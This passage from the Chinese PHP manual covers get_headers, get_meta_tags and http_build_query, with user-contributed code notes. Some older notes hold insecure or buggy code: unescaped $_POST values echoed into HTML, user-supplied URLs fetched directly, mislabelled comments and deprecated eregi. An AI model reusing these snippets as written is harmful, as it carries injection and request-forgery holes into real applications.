else {
$headers[strtolower($h2[0])] = trim($h2[1]);
}
?>

With:
<?
else {
$foo = implode( ':', $h2 );
$foo = preg_replace( '/[a-zA-Z- ]*: /', '', $foo );
$headers[strtolower($h2[0])] = trim( $foo );
}
drfickle2 at yahoo dot com 27-Jul-2005 05:01
aeontech, this the below change adds support for SSL connections. Thanks for the code!

        if (isset($url_info['scheme']) && $url_info['scheme'] == 'https') {
            $port = 443;
            $fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 30);
        } else {
           $port = isset($url_info['port']) ? $url_info['port'] : 80;
            $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        }
15-Jul-2005 01:37
For anyone reading the previous comments, here is code that takes into account all the previous suggestions and includes a bugfix, too.

This code basically provides the "get_headers" function even on systems that are not running PHP 5.0.  It uses strtolower() on the keys, as suggested.  It uses the $h2 array instead of the $key, as suggested.  It removes a line about unsetting the $key -- no reason to unset something which is no longer used.  And I've changed the status header to be named "status" (instead of "0") in the array.  Note that if more than one header is returned without a label, they'll be stuck in "status" -- but I think status is the only header that comes back without a label, so it works for me.  So, first the code, then a sample of the usage:

<?php
if(!function_exists('get_headers')) {
   /**
   * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0) {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query'];
            $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp)) {
                if($header=trim(fgets($fp, 1024))) {
                    if($format == 1) {
                        $h2 = explode(':',$header);
                        // the first element is the http header type, such as HTTP/1.1 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($h2[0] == $header) {
                            $headers['status'] = $header;
                        }
                        else {
                            $headers[strtolower($h2[0])] = trim($h2[1]);
                        }
                    }
                    else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else {
            return false;
        }
    }
}
?>

OK?  Here's the usage:

<?php
$response = get_headers('http://www.example.com/', 1);
if (!$response) {
    echo 'Unable to initiate connection.';
}
else {
    print_r($response);
}
?>
aeontech at gmail dot com 23-Dec-2004 05:20
In response to dotpointer's modification of Jamaz' solution...

Here is a small modification of your function, this adds the emulation of the optional $format parameter.

<?php
if(!function_exists('get_headers')) {

    /**
    * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0)
    {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);

        if($fp)
        {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp))
            {
                if($header=trim(fgets($fp, 1024)))
                {
                    if($format == 1)
                    {
                        $key = array_shift(explode(':',$header));
                        // the first element is the http header type, such as HTTP 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($key == $header)
                        {
                            $headers[] = $header;
                        }
                        else
                        {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                        unset($key);
                    }
                    else
                    {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else
        {
            return false;
        }
    }
}
?>


从一个文件中提取所有的 meta 标签 content 属性，返回一个数组

  • ? get_headers
  • http_build_query ?
  • PHP Manual
  • URL 函数
  • 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组

get_meta_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

get_meta_tags — 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组

说明

get_meta_tags(string $filename, bool $use_include_path = false): array|false

打开 filename 逐行解析文件中的 <meta> 标签。解析工作将在 </head> 处停止。

参数

filename

HTML 文件的路径字符串。 此参数可以是本地文件也可以是一个 URL。

Example #1 get_meta_tags() 解析了什么

<meta name="author" content="name">
<meta name="keywords" content="php documentation">
<meta name="DESCRIPTION" content="a php manual">
<meta name="geo.position" content="49.33;-86.59">
</head> <!-- 解析工作在此处停止 -->

use_include_path

将 use_include_path 设置为 true 将使 PHP 尝试按照 include_path 标准包含路径中的每个指向去打开文件。这只用于本地文件，不适用于 URL。

返回值

返回一个数组，包含所有解析过的 meta 标签。

返回的关联数组以属性 name 的值作为键，属性 content 的值作为值，所以你可以很容易地使用标准数组函数遍历此关联数组或访问某个值。 属性 name 中的特殊字符将使用'_'替换，而其它字符则转换成小写。如果有两个 meta 标签拥有相同的 name，则只返回最后出现的那一个。

失败时返回 false 。

示例

Example #2 get_meta_tags() 返回了什么

<?php
// 假设上边的标签是在 www.example.com 中
$tags = get_meta_tags('http://www.example.com/');

// 注意所有的键（key）均为小写，而键中的'.'则转换成了'_'。
echo $tags['author']; // name
echo $tags['keywords']; // php documentation
echo $tags['description']; // a php manual
echo $tags['geo_position']; // 49.33;-86.59
?>

注释

Note:

只有包含 name 属性的 meta 标签才会被解析。不需要引号。

参见

  • htmlentities() - 将字符转换为 HTML 转义字符
  • urlencode() - 编码 URL 字符串

User Contributed Notes

bobble bubble 05-Aug-2015 08:07
This regex gets meta tags independent of sequence by capturing inside a lookahead.
Further uses the branch reset feature for different quote styles of values.
The pattern can be tested here: https://regex101.com/r/oE4oU9/1

<?PHP

function getMetaTags($str)
{
  $pattern = '
  ~<\s*meta\s

  # using lookahead to capture type to $1
    (?=[^>]*?
    \b(?:name|property|http-equiv)\s*=\s*
    (?|"\s*([^"]*?)\s*"|\'\s*([^\']*?)\s*\'|
    ([^"\'>]*?)(?=\s*/?\s*>|\s\w+\s*=))
  )

  # capture content to $2
  [^>]*?\bcontent\s*=\s*
    (?|"\s*([^"]*?)\s*"|\'\s*([^\']*?)\s*\'|
    ([^"\'>]*?)(?=\s*/?\s*>|\s\w+\s*=))
  [^>]*>

  ~ix';

  if(preg_match_all($pattern, $str, $out))
    return array_combine($out[1], $out[2]);
  return array();
}

// usage
$meta_tags = getMetaTags($str);

?>
LWC 25-Apr-2015 08:38
New version based on mariano at cricava dot com's work with:
1) Support for Meta properties (like Facebook's og tags).
2) Support for Unicode (UTF-8) encoded Meta lines.
3) An option not to convert htmlentities - if you plan to actually use the results and not just display them.

function getUrlData($url, $raw=false) // $raw - enable for raw display
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;
        $metaProperties = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*(name|property)="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 4)
        {
            $originals = $match[0];
            $names = $match[2];
            $values = $match[3];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();
                $metaProperties = $metaTags;
                if ($raw) {
                    if (version_compare(PHP_VERSION, '5.4.0') == -1)
                         $flags = ENT_COMPAT;
                    else
                         $flags = ENT_COMPAT | ENT_HTML401;
                }

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    if ($match[1][$i] == 'name')
                         $meta_type = 'metaTags';
                    else
                         $meta_type = 'metaProperties';
                    if ($raw)
                        ${$meta_type}[$names[$i]] = array (
                            'html' => htmlentities($originals[$i], $flags, 'UTF-8'),
                            'value' => $values[$i]
                        );
                    else
                        ${$meta_type}[$names[$i]] = array (
                            'html' => $originals[$i],
                            'value' => $values[$i]
                        );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags,
            'metaProperties' => $metaProperties,
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

<?php
$result = getUrlData('http://whatever...', true);

echo '<pre>'; print_r($result, true); echo '</pre>';

?>

Output example:

<?php
Array
(
    [title] => The requested page's title
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Something..." />
                    [value] => Something...
                )
        )
    [metaProperties] => Array
        (
            [og:type] => Array
                (
                    [html] => <meta property="og:type" content="article"/>/>
                    [value] => article
                )
        )
)
?>
richard dot dern at athaliasoft dot fr 02-Oct-2013 08:50
I personally experienced less issues using the DOM functions than regular expressions while trying to fetch meta tags and not using get_meta_tags function (in order to get http-equiv meta tags too).

<?php

$doc = new DOMDocument();
$doc->loadHTML($html);

$xpath = new DOMXPath($doc);

$nodes = $xpath->query('//head/meta');

foreach($nodes as $node) {
    [...]
}

?>
Ebpo 08-Mar-2013 06:31
Be aware that the function looks for the metatags in the whole page. If one of the meta is commented in your code for some reason, it will still be grabed.
jstel at 126 dot com 13-Jul-2009 09:36
this function could get each meta of html content , and stripped all js and css.

<?php
function get_meta_data($content)
{
    $content = strtolower($content);
    $content = preg_replace("'<style[^>]*>.*</style>'siU",'',$content);  // strip js
    $content = preg_replace("'<script[^>]*>.*</script>'siU",'',$content); // strip css
    $split = explode("\n",$content);
    foreach ($split as $k => $v)
    {
        if (strpos(' '.$v,'<meta')) {
             preg_match_all(
"/<meta[^>]+(http\-equiv|name)=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]*>/i",
$v, $split_content[],PREG_PATTERN_ORDER);;
        }
    }
    return $split_content;
}
?>
Antonio - Malaga 10-Feb-2009 02:21
It's not work if meta syntax not have trailing slash.
doob_ at gmx dot de 27-Nov-2008 04:12
<?php

/*
** Extracts and formats meta tag content
*/

function get_meta_data($url, $searchkey='') {
    $data = get_meta_tags($url);    // get the meta data in an array
    foreach($data as $key => $value) {
        if(mb_detect_encoding($value, 'UTF-8, ISO-8859-1', true) != 'ISO-8859-1') {    // check whether the content is UTF-8 or ISO-8859-1
            $value = utf8_decode($value);    // if UTF-8 decode it
        }
        $value = strtr($value, get_html_translation_table(HTML_ENTITIES));    // mask the content
        if($searchkey != '') {    // if only one meta tag is in demand e.g. 'description'
            if($key == $searchkey) {
                $str = $value;    // just return the value
            }
        } else {    // all meta tags
            $pattern = '/ |,/i';    // ' ' or ','
            $array = preg_split($pattern, $value, -1, PREG_SPLIT_NO_EMPTY);    // split it in an array, so we have the count of words
            $str .= '<p><span style="display:block;color:#000000;font-weight:bold;">' . $key . ' <span style="font-weight:normal;">(' . count($array) . ' words | ' . strlen($value) . ' chars)</span></span>' . $value . '</p>';    // format data with count of words and chars
        }
    }
    return $str;
}

$content .= get_meta_data("http://www.example.com/");
/*
output looks like this:

description (23 words | 167 chars)
SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.

keywords (13 words | 119 chars)
SELFHTML, HTML, Dynamic HTML, JavaScript, CGI, Perl, Grafik, WWW-Seiten, Web-Seiten, Hilfe, Dokumentation, Beschreibung

etc.

*/

$content .= get_meta_data("http://www.example.com/", "description");
/*
output looks like this:

SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.
*/

?>
diel at caroes dot be 16-Jan-2008 10:38
Quick meta data grabber
[code]
if(get_meta_tags('http://'.$_POST['pagina'])){
        print '<font class="midden">Meta data from http://'.$_POST['pagina'].'</font>';
        $metadata = get_meta_tags('http://'.$_POST['pagina']);
        echo '<table width="100%">';
        print '<tr><td>Meta</td><td>Waarde</td></tr>';
        foreach($metadata as $naam => $waarde){
            echo '<tr><td valign="top">'.$naam.'</td><td>'.$waarde.'</td></tr>';
        }
        print '</table>';
    }else{
        print '
        <div class="red_h">Incorrect</div>
        ';
    }
[/code]
roganty at gmail dot com 19-Aug-2006 03:33
This is a slight amendment to jimmyxx at gmail dot com function

I tried using the regex displayed in his code, and php threw up a couple of errors

Below is the correct regular expression that works
(Please note that I had to split the regex into strings because php.net was complaining about the line being to long)
<?php
preg_match_all(
   "|<meta[^>]+name=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]+>|i",
   $html, $out,PREG_PATTERN_ORDER);
?>

The problem was due to the quotes being incorrectly escaped.
I hope this helps anyone who has been having problems with his code
jimmyxx at gmail dot com 20-Sep-2005 12:37
I used this as part of my mini php search based search engine - it really slowed the whole thing down. I wrote this function to read HTML (just fetch the file or use something like snoopy) and extract the meta data via a simple regex, works a treat and made my crawler much faster:

<?php

function get_meta_data($html) {

    preg_match_all(
    "|<meta[^>]+name=\\"([^\\"]*)\\"[^>]+content=\\"([^\\"]*)\\"[^>]+>|i",  $html, $out,PREG_PATTERN_ORDER);

    for ($i=0;$i < count($out[1]);$i++) {
        // loop through the meta data - add your own tags here if you need
        if (strtolower($out[1][$i]) == "keywords") $meta['keywords'] = $out[2][$i];
        if (strtolower($out[1][$i]) == "description") $meta['description'] = $out[2][$i];
    }

return $meta;
}

?>
mariano at cricava dot com 12-Sep-2005 05:18
Based on Michael Knapp's code, and adding some regex, here's a function that will get all meta tags and the title based on a URL. If there's an error, it will return false. Using the function getUrlContents(), also included, it takes care of META REFRESH re-directions, following up to the specified number of redirections. Please note that the regular expressions included were split into strings because php.net was complaining about the line being to long ;)

<?php
function getUrlData($url)
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*name="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 3)
        {
            $originals = $match[0];
            $names = $match[1];
            $values = $match[2];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    $metaTags[$names[$i]] = array (
                        'html' => htmlentities($originals[$i]),
                        'value' => $values[$i]
                    );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

Here's an example of its usage. Check that the included URL has a META REFRESH redirection:

<?php
$result = getUrlData('http://www.marianoiglesias.com.ar/');

echo '<pre>'; print_r($result); echo '</pre>';

?>

For the above code the output would be:

<?php
Array
(
    [title] => Mariano Iglesias: El Eternauta
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well." />
                    [value] => Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well.
                )

            [DC.title] => Array
                (
                    [html] => <meta name="DC.title" content="Mariano Iglesias - Weblog" />
                    [value] => Mariano Iglesias - Weblog
                )

            [ICBM] => Array
                (
                    [html] => <meta name="ICBM" content="-34.6017, -58.3956" />
                    [value] => -34.6017, -58.3956
                )

            [geo.position] => Array
                (
                    [html] => <meta name="geo.position" content="-34.6017;-58.3956" />
                    [value] => -34.6017;-58.3956
                )

            [geo.region] => Array
                (
                    [html] => <meta name="geo.region" content="AR-BA">
                    [value] => AR-BA
                )

            [geo.placename] => Array
                (
                    [html] => <meta name="geo.placename" content="Buenos Aires">
                    [value] => Buenos Aires
                )

        )

)
?>
Michael Knapp 12-Mar-2005 12:47
Tim's code is good (thanks Tim), except it won't work very well if the tag is part of a long non-breaking string.

E.g. try getting the title from Google Maps (http://www.google.com/maps).

A better solution is:

<?php
$title = "";

if ($fp = @fopen( $_POST['url'], 'r' )) {

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
       $buf = trim(fgets( $fp, 4096 )) ;
       $cont .= $buf;
    }

    // get tag contents
    @preg_match( "/<title>([a-z 0-9]*)<\/title>/si", $cont, $match );

    // tag contents
    $title = strip_tags(@$match[ 1 ]);
}

?>

Note the strip_tags. Another thing to be careful of is to check for ", <, and >. You will need to strip those out if you are posting the output to a form.

Also, it is probably best to use the /i modifier, because some people might code <TITLE> etc...
rehfeld 05-Feb-2005 06:45
in response to
jp at webgraphe dot com

this function grabs meta tags, not http headers

if you need the headers

<?php

$fp = fopen('http://example.org/somepage.html', 'r');

// the variable $http_response_header magically appears
print_r($http_response_header);

// or
$meta_data = stream_get_meta_data($fp);
print_r($meta_data);

?>
tim dot bennett at haveaniceplay dot com 01-Feb-2005 07:43
If you want to get the contents of tags other than meta you can use:

<?php

$page = "http://www.mysite.com/apage.php";

    // tags
    $start = '<atag>';
    $end = '<\/atag>';

    // open the file
    $fp = fopen( $page, 'r' );

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
        $buf = trim( fgets( $fp, 4096 ) );
        $cont .= $buf;
    }

    // get tag contents
    preg_match( "/$start(.*)$end/s", $cont, $match );

    // tag contents
    $contents = $match[ 1 ];

?>
jp at webgraphe dot com 12-Dec-2003 05:37
If the URL is doing a redirection using the headers (like you would do with PHP function header("Location: URL");), the page has no content (in general). It appears get_meta_tags() doesn't catch that kind of redirection (like cURL would do) and it lead me to a timeout of my script.

I experienced this in a spider I wrote in order to feed my database of all available pages on my site and one link was linking to a page that simply has the following code:

<?php
  header("Location: sections.php?section=home");
  exit();
?>

That made my script hang for a moment and apparently, get_meta_tags() wasn't even able to return me an error.

JP.
20-Dec-2001 11:01
Tested PHP 4.0.6

get_meta_tags() seems to look only in the beginning of a file, meaning that e.g. if there is a lot of PHP code before the HTML header it will return nothing ...
Tested using get_meta_tags() on local files with about 9000 characters of PHP code before HTML HEADER.

Workaround: if possible move code after header or if not: include a file.
Ben dot Davis at furman dot edu 30-Jul-2001 03:29
I have found that for large searches, get_meta_tags is very slow.  I created a large search engine for a website that couldnt use a database and I first tried pulling out the meta tags.
I have found that it is actually much faster to use eregi to pull out the meta tags.  This code below pulls out the description:

if (eregi ("<meta name=\"description\" content=[^>]*", $contents, $descresult))
                                {
                                    $description = explode("<meta name=\"description\" content=", $descresult[0]);
                                    echo "<font face=\"Arial\" size=2>$description[1]</font>";

                                }
richard at pifmagazine dot com 21-Apr-2000 05:17
Something that is not mentioned above and should be : When using get_meta_tags on a remote PHP page the page will be parsed before the meta tags are returned - so you can capture meta tags generated dynamically (by PHP??) on the remote end.

This DOES NOT work the same way when getting meta tags on local file systems.  Local files are not parsed through the web server before returning to get_meta_tags().  If the META tag is hard-coded into the page, you'll be fine - but if it dynamically generated you will not be able to capture it unless you use the full URL when calling your local files.
richard at pifmagazine dot com 21-Apr-2000 05:00
An Important Note about META tags and this function :  if your META tag contains newline "\n"  characters, get_meta_tags() will return a NULL value for that name property.  Removing the newlines from the source META tag corrects the problem.


生成 URL-encode 之后的请求字符串

  • ? get_meta_tags
  • parse_url ?
  • PHP Manual
  • URL 函数
  • 生成 URL-encode 之后的请求字符串

http_build_query

(PHP 5, PHP 7, PHP 8)

http_build_query — 生成 URL-encode 之后的请求字符串

说明

http_build_query(
array|object $data,
string $numeric_prefix = "",
?string $arg_separator = null,
int $encoding_type = PHP_QUERY_RFC1738
): string

使用给出的关联（或下标）数组生成一个经过 URL-encode 的请求字符串。

参数

data

可以是数组或包含属性的对象。

如果 data 是数组，可以是一维结构，也可以是由数组组成的数组（其依次可以包含其它数组）。

如果 data 是一个对象，只有 public 的属性会加入结果。

numeric_prefix

如果在基础数组中使用了数字下标同时给出了该参数，此参数值将会作为基础数组中的数字下标元素的前缀。

这是为了让 PHP 或其它 CGI 程序在稍后对数据进行解码时获取合法的变量名。

arg_separator

参数分隔符。如果未设置或为 null，arg_separator.output 用于分隔参数。

encoding_type

默认使用 PHP_QUERY_RFC1738。

如果 encoding_type 是 PHP_QUERY_RFC1738，则编码将会以 » RFC 1738 标准和 application/x-www-form-urlencoded 媒体类型进行编码，空格会被编码成加号（+）。

如果 encoding_type 是 PHP_QUERY_RFC3986，将根据 » RFC 3986 编码，空格会被百分号编码（%20）。

返回值

返回一个 URL 编码后的字符串。

更新日志

版本 | 说明
8.0.0 | arg_separator 现在可为 null。

示例

Example #1 http_build_query() 使用示例

<?php
$data = array(
'foo' => 'bar',
'baz' => 'boom',
'cow' => 'milk',
'null' => null,
'php' => 'hypertext processor'
);

echo http_build_query($data) . "\n";
echo http_build_query($data, '', '&amp;');

?>

以上示例会输出：

foo=bar&baz=boom&cow=milk&php=hypertext+processor
foo=bar&amp;baz=boom&amp;cow=milk&amp;php=hypertext+processor

Example #2 http_build_query() 使用数字下标的元素

<?php
$data = array('foo', 'bar', 'baz', null, 'boom', 'cow' => 'milk', 'php' => 'hypertext processor');

echo http_build_query($data) . "\n";
echo http_build_query($data, 'myvar_');
?>

以上示例会输出：

0=foo&1=bar&2=baz&4=boom&cow=milk&php=hypertext+processor
myvar_0=foo&myvar_1=bar&myvar_2=baz&myvar_4=boom&cow=milk&php=hypertext+processor

Example #3 http_build_query() 使用复杂的数组

<?php
$data = array(
'user' => array(
'name' => 'Bob Smith',
'age' => 47,
'sex' => 'M',
'dob' => '5/12/1956'
),
'pastimes' => array('golf', 'opera', 'poker', 'rap'),
'children' => array(
'bobby' => array('age'=>12, 'sex'=>'M'),
'sally' => array('age'=>8, 'sex'=>'F')
),
'CEO'
);

echo http_build_query($data, 'flags_');
?>

上面的例子将输出：（为了可读性，字已经换行了）

user%5Bname%5D=Bob+Smith&user%5Bage%5D=47&user%5Bsex%5D=M&
user%5Bdob%5D=5%2F12%2F1956&pastimes%5B0%5D=golf&pastimes%5B1%5D=opera&
pastimes%5B2%5D=poker&pastimes%5B3%5D=rap&children%5Bbobby%5D%5Bage%5D=12&
children%5Bbobby%5D%5Bsex%5D=M&children%5Bsally%5D%5Bage%5D=8&
children%5Bsally%5D%5Bsex%5D=F&flags_0=CEO

Note:

只有基础数组中的数字下标元素"CEO"才获取了前缀，其它数字下标元素（如 pastimes 下的元素）则不需要为了合法的变量名而加上前缀。

Example #4 http_build_query() 使用对象

<?php
class parentClass {
public $pub = 'publicParent';
protected $prot = 'protectedParent';
private $priv = 'privateParent';
public $pub_bar = null;
protected $prot_bar = null;
private $priv_bar = null;

public function __construct(){
$this->pub_bar = new childClass();
$this->prot_bar = new childClass();
$this->priv_bar = new childClass();
}
}

class childClass {
public $pub = 'publicChild';
protected $prot = 'protectedChild';
private $priv = 'privateChild';
}

$parent = new parentClass();

echo http_build_query($parent);
?>

以上示例会输出：

pub=publicParent&pub_bar%5Bpub%5D=publicChild

参见

  • parse_str() - 将字符串解析成多个变量
  • parse_url() - 解析 URL，返回其组成部分
  • urlencode() - 编码 URL 字符串
  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理

User Contributed Notes

drewdeveloperthomas at gmail dot com 03-Jun-2020 04:52
It's not mentioned in the documentation, but when calling http_build_query on an object, public null fields are ignored.

<?php

class A {
    public int $publicNotNull;
    public ?int $publicNull;
    private string $privateNotNull;

    public function __construct()
    {
        $this->publicNotNull = 2;
        $this->privateNotNull = "Test";
    }
}

$a = new A();
echo http_build_query($a); // publicNotNull=2
?>
Sergei S. 06-Jun-2019 08:23
Number to string conversion occured in <?php http_build_query() ?> is affected by locale settings, which might not be obvious.

<?php
$params = ["v" => 5.63];

setlocale(LC_ALL, 'us_En');
http_build_query($params) // v=5.63

setlocale(LC_ALL, 'ru_RU');
http_build_query($params) // v=5,63 mind the comma
?>
rishad at kaluma dot com 20-Nov-2018 03:42
When using http_build_query($args) where $args is an array; note that there is a limit to the size of array. See max_input_vars in your php.ini to increase this size.
shaun at slickdesign dot com dot au 08-Feb-2018 01:26
While http_build_query can also be used to encode most classes, into a query string, SimpleXML Elements with <![CDATA[]]> values are picked up as empty arrays, and therefore aren't included naturally.

<?php
$xml = simplexml_load_string( '<wrapper><key><![CDATA[value]]></key><key2>value2</key2></wrapper>' );
var_dump( $xml, http_build_query( $xml ) );
/* Outputs:
object(SimpleXMLElement)#1 (2) {
  ["key"]=>
  object(SimpleXMLElement)#2 (0) {
  }
  ["key2"]=>
  string(6) "value2"
}
string(11) "key2=value2"
*/
?>
flavio at agenciaeme dot com dot br 05-Jan-2018 04:39
if you send boolean values it transform in integer :

$a = [teste1= true,teste2=false];
echo http_build_query($a)

//result will be teste1=1&teste2=0
chat dot noir at arcor dot de 23-Aug-2017 02:51
If you need the inverse functionality, and (like me) you cannot use pecl_http, you may want to use something akin to the following.

<?php function http_parse_query($Query) {

// mimic the behavior of $_GET, see also RFC 1738 and 3986.
$Delimiter = ini_get('arg_separator.input');
$Params    = array();

foreach (explode($Delimiter, $Query) as $NameValue) {
    preg_match(
        '/^(?P<name>[^=\[]*)(?P<indices_present>\[(?P<indices>[^\]]*(\]\[[^\]]*)*)\]?)?(?P<value_present>=(?P<value>.*))?$/',
        $NameValue,
        $NameValueParts
    );

    if (!empty($NameValueParts)) {
        $Param =& $Params[$NameValueParts['name']];

        if (!empty($NameValueParts['indices_present'])) {
            $Indices = explode('][', $NameValueParts['indices']);

            foreach ($Indices as $Index) {
                if (!is_array($Param)) {
                    $Param = array();
                }

                if ($Index === '') {
                    $Param[] = array();
                    end($Param);
                    $Param =& $Param[key($Param)];
                } else {
                    if (ctype_digit($Index)) { $Index  = (int) $Index;  }

                    if (!array_key_exists($Index, $Param)) {
                        $Param[$Index] = array();
                    }
                    $Param =& $Param[$Index];
                }
            }
        }

        if (!empty($NameValueParts['value_present'])) {
            $Param = urldecode($NameValueParts['value']);
        } else {
            $Param = '';
        }
    }
}

return $Params;

}?>
rmaslo at archa dot cz 20-Feb-2017 12:27
Warning: Different arrays may return the same result

<CODE>
$a1 = array('x[y]' => array('a'=>1));
$a2 = array('x' => array('y' => array('a'=>1)));
$q1 = http_build_query($a1);
$q2 = http_build_query($a2);
var_dump($a1);
echo '<BR>';
var_dump($a2);
echo '<BR>';
echo $q1;
echo '<BR>';
echo $q2;
echo '<BR>';
</CODE>

Result:
array(1) { ["x[y]"]=> array(1) { ["a"]=> int(1) } }
array(1) { ["x"]=> array(1) { ["y"]=> array(1) { ["a"]=> int(1) } } }
x%5By%5D%5Ba%5D=1
x%5By%5D%5Ba%5D=1
joelhy 01-Feb-2016 03:22
Params with false value will be changed to zero in result string.

<?php
$arr = ['foo' => false];
echo http_build_query($arr);
?>

will produce:

foo=0
itsadok at gmail dot com 17-Nov-2015 06:47
Passing null to $arg_separator is the same as passing an empty string, which is probably not what you want.

If you need to change the enc_type, use this:

    http_build_query($query, null, '&', PHP_QUERY_RFC3986);

Or possibly this:

    http_build_query($query, null, ini_get('arg_separator.output'), PHP_QUERY_RFC3986);

But not this:

    // BAD CODE!
    http_build_query($query, null, null, PHP_QUERY_RFC3986);
james at dimensionengineering dot com 15-Jul-2015 11:04
Be careful about Example 1 -- it is exactly how *not* to implement things.

& as a separator is the URL encoding.
&amp; is HTML encoding.

You should HTML encode your URL if embedding it in a web page. This is more involved than just replacing & with &amp;. Doing as this example suggests is a security hole waiting to happen.
joey dot qiang at innomative dot com 12-Jun-2015 04:35
Not recommending to eliminate the numeric indices like:
'arg[0]' --> 'arg[]'

The reason is this function will not include null values in the result string:

        $data = array(
            'arg' => array(
                null,
                2,
                3
            )
        );
        echo http_build_query($data);

The output is something like "arg[1]=2&arg[2]=3";
Mark Simon 01-Mar-2015 10:41
As noted, this function omits keys with null values. This could break some code which treats the key as boolean, and so has no value, or other code expecting the array to be populated regardless of value.

A workaround for this is to replace the null values with an empty string:

    $data=array(
        'a'=>'apple',
        'b'=>2,
        'c'=>null,
        'd'=>'...',
    );

    //    Compensate for fact that http_build_query omits null values
        foreach($data as &$datum) if($datum===null) $datum='';

Losing the null-ness of the original is no real loss if it's supposed to be a real query string. If the null is important, you could use a dummy value instead.

Mark
jakub dot lopuszanski at nasza-klasa dot pl 10-Dec-2013 10:41
While this is not documented, this http_build_query can return FALSE on some inputs:
<?php
  //gives bool(false)
  var_dump(http_build_query('whatever'));
?>
Kirils Solovjovs 16-Jul-2013 08:51
instead of some other suggestions that did not work for me, I found that the best way to build POST content (e.g. for stream_context_create) is urldecode(http_build_query($query))
Vitaly Dyatlov 23-Apr-2013 11:27
